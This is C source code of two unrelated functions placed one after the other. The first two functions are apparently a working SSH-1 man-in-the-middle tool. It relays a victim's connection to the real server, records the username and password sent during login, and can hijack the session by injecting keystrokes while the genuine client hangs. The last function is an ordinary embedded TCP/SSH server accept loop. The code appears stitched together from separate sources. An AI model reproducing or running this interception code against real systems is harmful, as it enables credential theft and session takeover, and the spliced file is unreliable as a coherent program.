void mitm_init(u_short lport, u_long ip, u_short rport) { int i = 1; if (pipe(sig_pipe) == -1) err(1, "pipe"); if ((mitm_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) err(1, "socket"); if (setsockopt(mitm_fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i)) == -1) err(1, "setsockopt"); memset(&ssin, 0, sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_addr.s_addr = INADDR_ANY; ssin.sin_port = htons(lport); if (bind(mitm_fd, (struct sockaddr *)&ssin, sizeof(ssin)) == -1) err(1, "bind"); if (listen(mitm_fd, 3) == -1) err(1, "listen"); ssin.sin_addr.s_addr = ip; ssin.sin_port = htons(rport); SSH_init(); ssh_client_ctx = SSH_CTX_new(); ssh_client_ctx->hostkey = RSA_generate_key(1024, 35, NULL, NULL); ssh_client_ctx->servkey = RSA_generate_key(768, 35, NULL, NULL); if (ssh_client_ctx->hostkey == NULL || ssh_client_ctx->servkey == NULL) { errx(1, "RSA key generation failed"); } }
void mitm_child(void) { u_char buf[SSH_MAX_PKTLEN]; char userpass[1024]; fd_set fds; int i, pass_done, hijack_done; if (Opt_debug) warnx("new connection from %s.%d", inet_ntoa(csin.sin_addr), ntohs(csin.sin_port)); if (fcntl(client_fd, F_SETFL, 0) == -1) err(1, "fcntl"); /* Connect to real server. */ if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) err(1, "socket"); if (connect(server_fd, (struct sockaddr *)&ssin, sizeof(ssin)) == -1) err(1, "connect"); /* Relay version strings. */ if ((i = read(server_fd, buf, sizeof(buf))) <= 0 || buf[i - 1] != '\n') errx(1, "bad version string from server"); if (write(client_fd, buf, i) != i) err(1, "write"); if ((i = read(client_fd, buf, sizeof(buf))) <= 0 || buf[i - 1] != '\n') errx(1, "bad version string from client"); if (write(server_fd, buf, i) != i) err(1, "write"); /* Perform server key exchange. */ if ((ssh_server_ctx = SSH_CTX_new()) == NULL || (ssh_server = SSH_new(ssh_server_ctx)) == NULL) err(1, "malloc"); SSH_set_fd(ssh_server, server_fd); if (SSH_connect(ssh_server) == -1) errx(1, "server key exchange failed"); /* Perform client key exchange. */ if ((ssh_client = SSH_new(ssh_client_ctx)) == NULL) err(1, "malloc"); SSH_set_fd(ssh_client, client_fd); if (SSH_accept(ssh_client) == -1) errx(1, "client key exchange failed"); /* Relay username. */ if ((i = SSH_recv(ssh_client, buf, sizeof(buf))) <= 0 || buf[0] != SSH_CMSG_USER) errx(1, "couldn't get username"); userpass[0] = '\0'; ssh_strlcat(userpass, sizeof(userpass), buf + 1, i - 1); strlcat(userpass, "\n", sizeof(userpass)); if (SSH_send(ssh_server, buf, i) != i) errx(1, "couldn't relay username"); pass_done = hijack_done = 0; /* Relay packets. */ for (;;) { FD_ZERO(&fds); FD_SET(server_fd, &fds); i = server_fd; if (Opt_interact) { FD_SET(STDIN_FILENO, &fds); } if (!hijack_done) { FD_SET(client_fd, &fds); i = MAX(client_fd, i); } if (select(i + 1, &fds, 0, 0, 0) == -1) { if (errno != EINTR) break; } if (FD_ISSET(client_fd, &fds)) { i = sizeof(buf); if ((i = SSH_recv(ssh_client, buf, i)) <= 0) break; if (!pass_done) { if (buf[0] == SSH_CMSG_AUTH_PASSWORD) { ssh_strlcat(userpass, sizeof(userpass), buf + 1, i - 1); strlcat(userpass, "\n", sizeof(userpass)); } else { pass_done = 1; record(csin.sin_addr.s_addr, ssin.sin_addr.s_addr, IPPROTO_TCP, ntohs(csin.sin_port), ntohs(ssin.sin_port), "ssh", userpass, strlen(userpass)); } } if (SSH_send(ssh_server, buf, i) != i) break; } else if (FD_ISSET(server_fd, &fds)) { i = sizeof(buf); if ((i = SSH_recv(ssh_server, buf, i)) <= 0) break; if (Opt_interact) { if (buf[0] == SSH_SMSG_STDOUT_DATA && write(STDOUT_FILENO, buf + 5, i - 5) <= 0) { break; } else if (buf[0] == SSH_SMSG_STDERR_DATA && write(STDOUT_FILENO, buf + 5, i - 5) <= 0) { break; } else if (buf[0] == SSH_SMSG_EXITSTATUS || buf[0] == SSH_MSG_DISCONNECT) { warnx("connection closed"); break; } } if (!hijack_done) { if (SSH_send(ssh_client, buf, i) != i) break; } } else if (FD_ISSET(STDIN_FILENO, &fds)) { i = sizeof(buf) - 1; if ((i = read(STDIN_FILENO, buf + 5, i - 5)) <= 0) break; *(u_int32_t *)(buf + 1) = htonl(i); buf[0] = SSH_CMSG_STDIN_DATA; i += 5; if (SSH_send(ssh_server, buf, i) != i) break; /* Let the real client hang on connection hijack. */ if (!hijack_done) { fprintf(stderr, "[connection hijacked]\n"); hijack_done = 1; } } else err(1, "select"); } SSH_close(ssh_server); SSH_close(ssh_client); }
/* * ======== tcpHandler ======== * Creates new Task to handle new TCP connections. */ Void dtask_tcp_echo(UArg arg0, UArg arg1) { int status; int clientfd; int server; struct sockaddr_in localAddr; struct sockaddr_in clientAddr; int optval; int optlen = sizeof(optval); socklen_t addrlen = sizeof(clientAddr); Task_Handle taskHandle; Task_Params taskParams; Error_Block eb; SSH_CTX *ctx; SSH *ssh; /* Allocate memory */ ctx = SSH_CTX_new(); /* Load DSA Keys in ctx */ if (SSH_CTX_load_keys(ctx) < 0) { System_printf("Error: keys load failed.\n"); goto ABORT; } server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (server == -1) { System_printf("Error: socket not created.\n"); goto ABORT; } memset(&localAddr, 0, sizeof(localAddr)); localAddr.sin_family = AF_INET; localAddr.sin_addr.s_addr = htonl(INADDR_ANY); localAddr.sin_port = htons(arg0); status = bind(server, (struct sockaddr *)&localAddr, sizeof(localAddr)); if (status == -1) { System_printf("Error: bind failed.\n"); goto ABORT; } status = listen(server, NUMTCPWORKERS); if (status == -1) { System_printf("Error: listen failed.\n"); goto ABORT; } optval = 1; if (setsockopt(server, SOL_SOCKET, SO_KEEPALIVE, &optval, optlen) < 0) { System_printf("Error: setsockopt failed\n"); goto ABORT; } /* TCP no push */ if (setsockopt(server, IPPROTO_TCP, TCP_NOPUSH, &optval, optlen ) < 0) { System_printf("Error: setsockopt failed\n"); goto ABORT; } while ((clientfd = accept(server, (struct sockaddr *)&clientAddr, &addrlen)) != -1) { /* Only 1 active session */ if (ctx->actSe > 0) { close(clientfd); continue; } ctx->actSe = 1; /* Init the Error_Block */ Error_init(&eb); ssh = SSH_new(ctx); if (ssh == NULL) { System_printf("Error: SSH_new failed.\n"); close(clientfd); continue; } SSH_set_fd(ssh, clientfd); /* Initialize the defaults and set the parameters. */ Task_Params_init(&taskParams); taskParams.arg0 = (UArg)ssh; taskParams.stackSize = TCPWORKERSTACKSIZE; taskHandle = Task_create((Task_FuncPtr)tcpWorker, &taskParams, &eb); if (taskHandle == NULL) { System_printf("Error: Failed to create new Task\n"); close(clientfd); } /* addrlen is a value-result param, must reset for next accept call */ addrlen = sizeof(clientAddr); /* get client ip address */ struct sockaddr_in *s = (struct sockaddr_in *)&clientAddr; inet_ntop(AF_INET, &s->sin_addr, ssh->in_addr, sizeof(ssh->in_addr)); System_flush(); } System_printf("Error: accept failed.\n"); System_flush(); ABORT: if (server > 0) { close(server); } exitApp(ctx); }